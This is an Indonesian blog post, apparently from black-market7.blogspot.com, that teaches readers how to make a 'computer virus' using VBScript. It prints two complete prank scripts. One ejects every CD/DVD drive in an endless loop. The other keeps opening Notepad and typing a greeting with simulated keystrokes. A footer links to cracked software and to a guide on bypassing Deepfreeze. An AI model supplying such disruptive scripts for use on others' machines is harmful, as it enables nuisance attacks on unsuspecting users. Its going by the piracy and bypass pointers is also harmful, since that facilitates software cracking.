Cara Membuat Virus Komputer part I

Cara membuat virus komputer adalah sangat mudah apalgi menggunakan ekstensi .vbs/.bat nah simak cara dibawah ini baik2 yaa
* HAL2 YANG HARUS DIPERSIAPKAN SEBELUM MEMBUAT VIRUS *
+ Laptop atau Komputer
+ Kopi/teh untuk kita minum
+ Dengerin Musik yang MEllowwwwwww pollll

Nach cara membuat virusnya adalah sebagai berikut
#Efeknya adalah CD/DVD room akan membuka dan meutup tanpa henti#
Buka Notepad masukkan kode di bawah ini ke notepad

BM7:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan dengan cara save as type pili all dan beri nama file diatas dengan nama Bagonk.vbs
#Efeknya otomatis buka notepad dan memunculkan tulisan Halo apa kabar?kabar baik?#
Buka notepad masukkan kode dibawah ini ke notepad

BM7:

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

Simpan dengan cara save as type pili all dan beri nama file diatas dengan nama tono.vbs

Itu dulu yang mungkin bisa saya sampaikan kurang lebih mohon maaf sebesar-besarnya
============================================================== ==============================================================
terimakasih telah berkunjung ke black-market7.blogspot.com ============================================================== ==============================================================

.: Artikel Terkait :.

KOMPUTER

• Prayer Times PC Pro
• Direct 11 windows 7
• Internet Download Manager 6.15 Build 5 Final Full Patch
• Your Uninstaller 7.5.2013.02
• Efficient Notes Pro 3.10 Build 324
• IDM 6.12 Build 19 Final Patch
• Windows Movie Maker Untuk Windows 7
• IDM 6.12 Final build 15 Full Patch Terbaru
• cara mengetahui jumlah karakter tulisan pada ms.world 2007
• Microsoft Office Professional 2013
• Mozila Firefox 14.0.1 Bahasa Indonesia
• Smadav Pro 9.0 Full key Reg
• Cheat GTA sanAndreas Untuk Pc/Laptop
• Cheat Stronghold
• Artisteer 3
• I Care data Recovery
• IDm 607 Full version
• Cara Mempercepat Mozilafirefox
• WinRar Full Version
• Cara Membuat Tampilan Windows Transparant
• Cara Bobol Deepfreeze
• Nonaktifkan Akses ke Registry diwindows 7
• Cara Mempercepat IDM
• Tips Merawat Komputer/Laptop